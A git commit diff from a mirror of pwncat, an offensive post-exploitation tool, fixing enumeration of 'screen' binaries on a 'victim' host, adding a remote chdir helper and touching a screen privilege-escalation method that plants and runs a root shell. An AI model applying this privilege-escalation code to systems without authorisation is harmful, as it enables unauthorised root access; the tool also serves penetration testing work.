1
0
mirror of https://github.com/calebstewart/pwncat.git synced 2024-11-27 19:04:15 +01:00

Fixed screen-version enumeration

Also, added a `victim.chdir` method which returns the
old cwd as well as changes working directories in one
command.
This commit is contained in:
Caleb Stewart 2020-06-11 01:56:20 -04:00
parent fb6b7ad67a
commit fbe93c0f4d
4 changed files with 30 additions and 6 deletions

View File

@ -2,6 +2,7 @@
import dataclasses import dataclasses
import shlex import shlex
from typing import Generator from typing import Generator
import os
from colorama import Fore from colorama import Fore
@ -46,7 +47,7 @@ def enumerate() -> Generator[FactData, None, None]:
# Look for matching binaries # Look for matching binaries
with pwncat.victim.subprocess( with pwncat.victim.subprocess(
f"find {shlex.join(paths)} \( -type f -or -type l \) -executable -name 'screen*' -printf '%#m %p\\n' 2>/dev/null" f"find {shlex.join(paths)} \\( -type f -or -type l \\) -executable \\( -name 'screen' -or -name 'screen-*' \\) -printf '%#m %p\\n' 2>/dev/null"
) as pipe: ) as pipe:
for line in pipe: for line in pipe:
line = line.decode("utf-8").strip() line = line.decode("utf-8").strip()
@ -54,4 +55,8 @@ def enumerate() -> Generator[FactData, None, None]:
path = " ".join(path) path = " ".join(path)
perms = int(perms, 8) perms = int(perms, 8)
# When the screen source code is on disk and marked as executable, this happens...
if os.path.splitext(path)[1] in [".c", ".o", ".h"]:
continue
yield ScreenVersion(path, perms) yield ScreenVersion(path, perms)

View File

@ -9,6 +9,7 @@ from typing import List, Tuple, Optional, Any
from colorama import Fore from colorama import Fore
from prompt_toolkit.shortcuts import confirm from prompt_toolkit.shortcuts import confirm
from rich.progress import Progress, BarColumn
import pwncat import pwncat
from pwncat import util from pwncat import util

View File

@ -121,8 +121,7 @@ class Method(BaseMethod):
raise PrivescError("compilation failed: {exc}") raise PrivescError("compilation failed: {exc}")
# Switch to /etc but save our previous directory so we can return to it # Switch to /etc but save our previous directory so we can return to it
old_cwd = pwncat.victim.env(["pwd"]).strip().decode("utf-8") old_cwd = pwncat.victim.chdir("/etc")
pwncat.victim.run("cd /etc")
# Run screen with our library, saving the umask before changing it # Run screen with our library, saving the umask before changing it
start_umask = pwncat.victim.run("umask").decode("utf-8").strip() start_umask = pwncat.victim.run("umask").decode("utf-8").strip()
@ -145,7 +144,7 @@ class Method(BaseMethod):
if file_owner != b"0": if file_owner != b"0":
# Hop back to the original directory # Hop back to the original directory
pwncat.victim.env(["cd", old_cwd]) pwncat.victim.chdir(old_cwd)
# Ensure the files are removed # Ensure the files are removed
pwncat.victim.env(["rm", "-f", rootshell]) pwncat.victim.env(["rm", "-f", rootshell])
@ -153,7 +152,7 @@ class Method(BaseMethod):
raise PrivescError("failed to create root shell") raise PrivescError("failed to create root shell")
# Hop back to the original directory # Hop back to the original directory
pwncat.victim.env(["cd", old_cwd]) pwncat.victim.chdir(old_cwd)
# Start the root shell! # Start the root shell!
pwncat.victim.run(rootshell, wait=False) pwncat.victim.run(rootshell, wait=False)

View File

@ -269,6 +269,7 @@ class Victim:
"initializing: {task.fields[status]}", "initializing: {task.fields[status]}",
BarColumn(bar_width=None), BarColumn(bar_width=None),
"[progress.percentage]{task.percentage:>3.1f}%", "[progress.percentage]{task.percentage:>3.1f}%",
console=console,
) as progress: ) as progress:
task_id = progress.add_task("initializing", total=7, status="hostname") task_id = progress.add_task("initializing", total=7, status="hostname")
@ -420,7 +421,7 @@ class Victim:
# Synchronize the terminals # Synchronize the terminals
self.command_parser.dispatch_line("sync --quiet") self.command_parser.dispatch_line("sync --quiet")
progress.update(task_id, status="complete", advance=1, visible=True) progress.update(task_id, status="complete", advance=1)
# Force the local TTY to enter raw mode # Force the local TTY to enter raw mode
self.state = State.RAW self.state = State.RAW
@ -1316,6 +1317,24 @@ class Victim:
return access return access
def chdir(self, path: str) -> str:
"""
Change directories in the remote process. Returns the old CWD.
:param path: the directory to change to
:return: the old current working directory
"""
cd_cmd = util.join(["cd", path])
command = f"echo $PWD; {cd_cmd} || echo _PWNCAT_BAD_CD_"
output = self.run(command).decode("utf-8")
if "_PWNCAT_BAD_CD_" in output:
raise FileNotFoundError(f"{path}: No such file or directory")
output = output.replace("\r\n", "\n").split("\n")
return output[0]
def listdir(self, path: str) -> Generator[str, None, None]: def listdir(self, path: str) -> Generator[str, None, None]:
""" """
List the contents of the specified directory. List the contents of the specified directory.